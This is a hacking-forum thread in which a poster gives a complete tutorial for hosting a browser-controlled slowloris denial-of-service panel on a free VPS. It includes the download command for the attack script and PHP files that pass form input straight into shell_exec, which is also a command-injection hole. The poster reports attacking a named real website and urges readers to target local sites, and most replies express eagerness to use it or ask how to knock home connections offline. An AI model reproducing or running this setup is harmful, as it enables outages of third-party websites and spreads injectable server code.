[Linux™]

Hello HackForums it's Abrin here, today I've got a combo tutorial for you, this tutorial will link you to a place with a low end VPS, no this isn't good for DoSing off home connections, it's a layer 7 DoS attack that targets apache exaustion. The attack script is known as slowloris, but if you want a web server/other reason for a free server then this is for you, or if you just want to down websites from a browser, anywho time for the tutorial!

You can get the free VPS from host1free.com, it took me two weeks to get a response so this might not be an over night thing, and the VPS has to be renewed once a month, I've had mine for about 8 months now, and so far so good, I've dosed a good amount of websites, and ran some scripts like nmap, etc. It hasn't gotten suspended.

You can obtain the VPS at: http://host1free.com

Alright no more BSing you, now it's time for the tutorial.
Once you've obtained a VPS, you're ready to begin, first things first you'll need apache if you're using Ubuntu server like me so type the following command:

sudo apt-get install apache2

Follow through to the end, and you'll also need to install php, again type the following command:

sudo apt-get install php5

Alright now you'll need to change to your web folder type the following:

cd /var/www/

Now you should be in the www folder, now let's remove the nasty index.html file in the web folder. Run the following command.

rm index.html

TIP: Using the tab key has it's benifits in the Linux Command line, and * is a wild card character which stands for all!

Now let's download slowloris!
run the following command:

wget ha.ckers.org/slowloris/slowloris.pl

Screenshot:


Alright now it's time to create the following files, index.php, dos.php, and kill.php using the "nano" command: syntax "nano index.php" or "nano <file name>" without the quotes, and side brackets.
Run the following command:

nano index.php

Then paste in the code below!
Let's create the index.php first just copy the following web code!

Code

<html>
<head>
<title>Slowloris DoS API</title>
</head>
<body bgcolor="#FFF">
<center>
<form action="dos.php" method="get">
<label>URL: FORMAT: www.example.com</label><br>
<input type="text" name="url" /><br>
<label>Port: EX: 80</label><br>
<input type="text" name="port" /><br>
<label>Timeout: Reccommended: 500</label>
<input type="text" name="time" /><br>
<input type="submit" value="DoS The Site!" />
</form>
<br>
<br>
<form action="kill.php"  method="get">
<input type="submit" value="Kill All Attacks" />
</form>
</center>
</html>

Screenchot:

Alright now press ctrl +x in the command line to come to another menu, then if it asks you to overwrite hit the Y key, if not just hit enter, if it displays a name to save it as hit enter.

Now let's create the dos.php
Run the following command:

nano dos.php

And paste the following code!

Code

<?php
$url = $_GET['url'];
$port = $_GET['port'];
$time = $_GET['time'];
shell_exec("perl slowloris.pl -dns $url -port $port -timeout $time 1000");
?>

Screenshot:
Alright now for the kill.php
Run the following command:

nano kill.php

Now paste the following code into the terminal:

Code

<?php
shell_exec("killall perl");
echo "Successfully killed all slowloris attacks!";
?>

Screenshot: https://i.gyazo.com/fc35a2672ce641f2a070...33aff6.png

Alright now you should have all 4 files in there now type "ls" to see if you've got them if you have slowloris.pl, index.php, dos.php, and kill.php you're set for now, now we'll give the following filed root permissions with one command.

Type the following command:

chmod 0777 *

Alright now if you type ls again they should appear to be green, now they'll be executable.

Now time to test out target by pulling down a header use the following command:

curl -I <url>

In example "curl -I watchmojo.com".
Screenshot:

If it runs apache 2.2.x, or other vulnerable webserver it should work. It won't work on every site, but look around at local sites you'd be surprised what this script can do!

Now I'll be running it on watchmojo.com for educational purposes only, the site was never down for more than 30 seconds, and I never plan on doing this again.

Now let's fill out the form, navigate to your servers IP in your browser, and fill out the form, recommended settings are url in example.com, port 80, and 500 seconds for timeout.


Now let's attack!


Now make sure you have a second tab with the page open to kill the attack!


I hope you guys enjoyed my tutorial, remember to stay safe, and have fun!

If you're using the host1free VPS for this project please know you have to run updates, and install "nano", and the other perl modules for slowloris which are "libio-socket-ssl-perl", and check other things that could be wrong, such as re-configuring the language packaging to get the VPS to work in optimal performance.

[Vaxorr]

WOW! if this worked I'd love you forever, thanks for sharing with us

Regards,
Null

[MisterSosa]

Awesome, will try this out tonight if i get one of my dossing moods ;)

Thanks for sharing ~~

[Cletus Kasady]

Awesome, detailed tutorial! I'm going to try this out when I get home, thanks for sharing!

[Michael J. Scofield]

Great tutorial!
But is there an way to down home connections instead of sites?

[badboy3]

Dude this is cool! I got to try this sometime! Thanks man!

[illum]

Sick TUT, forsure going to try this out! Thanks!

[dirtyman]

I do exactly what you explained. But i get error: Problem loading page. On ls all of them are green. Please tell me , i„m using ubuntu vps 2GB of RAM , 51mb/s.

[DanteStigma]

Very very nice script and share! haven't tested it yet but i asked for his help and he gladly helped me set it up!
Vouch definitely (even if it doesnt) because of his effort! :), will try it out as soon as possible guys! WOW!

[_xXUnknownXx_]

Nice tut mate I wuv it ill try this when I get home

[hahdbwoannniabs]

Usually I'd tell you good tutorial
But there has already been 5430222304+e20 tutorials on this same exact thing

[cyb3rc0de]

Does this still work? I am interested...

[Talu]

Thanks for sharing, looks like a great and helpful tutorial.

[Dragonsformen]

I dont understand please van u make video step by step? Pls its advannc

[Hagzer]

google down for everyone :D nice method